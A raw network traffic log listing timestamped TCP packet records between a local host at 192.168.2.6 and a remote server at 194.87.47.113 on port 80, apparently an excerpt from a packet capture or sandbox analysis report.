Dec 19, 2024 08:09:33.425323009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.425395966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.426199913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.426280975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.426297903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.427089930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.427170992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.427192926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.428002119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.428046942 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.428106070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.428945065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.428983927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.429019928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.429840088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.429940939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.429979086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.430738926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.430830956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.430861950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.431641102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.431679964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.431736946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.432574987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.432609081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.432713985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.433486938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.433532000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.433595896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.434369087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.434406996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.434422016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.435272932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.435327053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.435333014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.436213970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.436248064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.436315060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.437123060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.437156916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.437186003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.438107014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.438280106 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.438297987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.438910007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.438942909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.439063072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.439831972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.439873934 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.439924002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.440795898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.440829039 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.440888882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.441606998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.441670895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.441905975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.441952944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.441987991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.442810059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.442943096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.442981958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.443886042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.444385052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.444487095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.444840908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.444875002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.444916964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.445559025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.445631981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.445667982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.446490049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.446547031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.446578979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.447381020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.447469950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.447508097 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.448306084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.448384047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.449179888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.449223995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.449280977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.449990988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.450073004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.450190067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.450822115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.451037884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.451133013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.451170921 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.451921940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.451997042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.452817917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.452852964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.452922106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.453231096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.453696012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.453835964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.454638958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.454677105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.454737902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.454871893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.455537081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.455655098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.456007004 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.456453085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.456492901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.456530094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.465702057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.465812922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.466146946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.466202974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.466260910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.466887951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.467058897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.467092991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.467129946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.467997074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.468106031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.468142986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.468883991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.469002008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.469099998 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.469813108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.469943047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.469985008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.470704079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.470779896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.470827103 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.527839899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.527959108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.528074980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.528337955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.528414965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.528453112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.529206991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.529288054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.529329062 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.530132055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.530211926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.530366898 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.531054974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.531160116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.531301975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.531949043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.555078030 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.589325905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.589390993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.589457989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.589720964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.589776993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.589910030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.589999914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.590068102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.590883970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.590976000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.591041088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.591784954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.591898918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.591955900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.592653990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.592777967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.593115091 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.593611956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.593736887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.593795061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.594518900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.594609022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.594664097 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.595383883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.616616964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.616672039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.616731882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.617052078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.617105961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.617185116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.617988110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.618046999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.618086100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.618864059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.618989944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.619004965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.619776964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.619834900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.619900942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.620760918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.620820999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.620835066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.621752024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.621808052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.621861935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.622523069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.622582912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.622617006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.623434067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.623492956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.623569012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.624336004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.624406099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.624470949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.625268936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.625376940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.625386953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.626179934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.626229048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.626247883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.627085924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.627137899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.627203941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.627995014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.628051043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.628110886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.628981113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.629038095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.629057884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.629803896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.629895926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.629956007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.630707026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.630753994 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.630836964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.631661892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.631722927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.631814003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.632555962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.632597923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.632646084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.633419037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.633563042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.633654118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.634251118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.634397030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.634449005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.635142088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.635226965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.635236025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.636046886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.636101961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.636168003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.636976004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.637087107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.637126923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.637875080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.637924910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.637926102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.638797998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.638884068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.638890982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.639672041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.639731884 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.639791012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.640587091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.640645981 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.640712023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.641752005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.641805887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.641843081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.642514944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.642580986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.642585993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.643347979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.643404007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.643407106 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.644253016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.644316912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.644354105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.645142078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.645206928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.645262957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.646059990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.646127939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.646217108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.646972895 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.647010088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.647070885 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.647962093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.648025036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.648117065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.648833036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.648868084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.648895025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.655898094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.657973051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.658030987 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.658123016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.658358097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.658412933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.658474922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.659270048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.659348965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.659375906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.660209894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.660322905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.660389900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.661072969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.661127090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.661200047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.661982059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.662095070 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.662105083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.662909985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.662975073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.663037062 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.719955921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.720009089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.720068932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.720197916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.720329046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.720331907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.721152067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.721267939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.721324921 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.722033978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.722091913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.722116947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.756228924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.781574011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.781663895 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.781663895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.781965017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.782119036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.782154083 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.782924891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.783004045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.783010960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.783821106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.783883095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.783951998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.784703970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.784764051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.784818888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.785588980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.785712957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.785717964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.786560059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.786582947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.786632061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.808856010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.808922052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.808936119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.809256077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.809303999 CET	49862	80	192.168.2.6	194.87.47.113
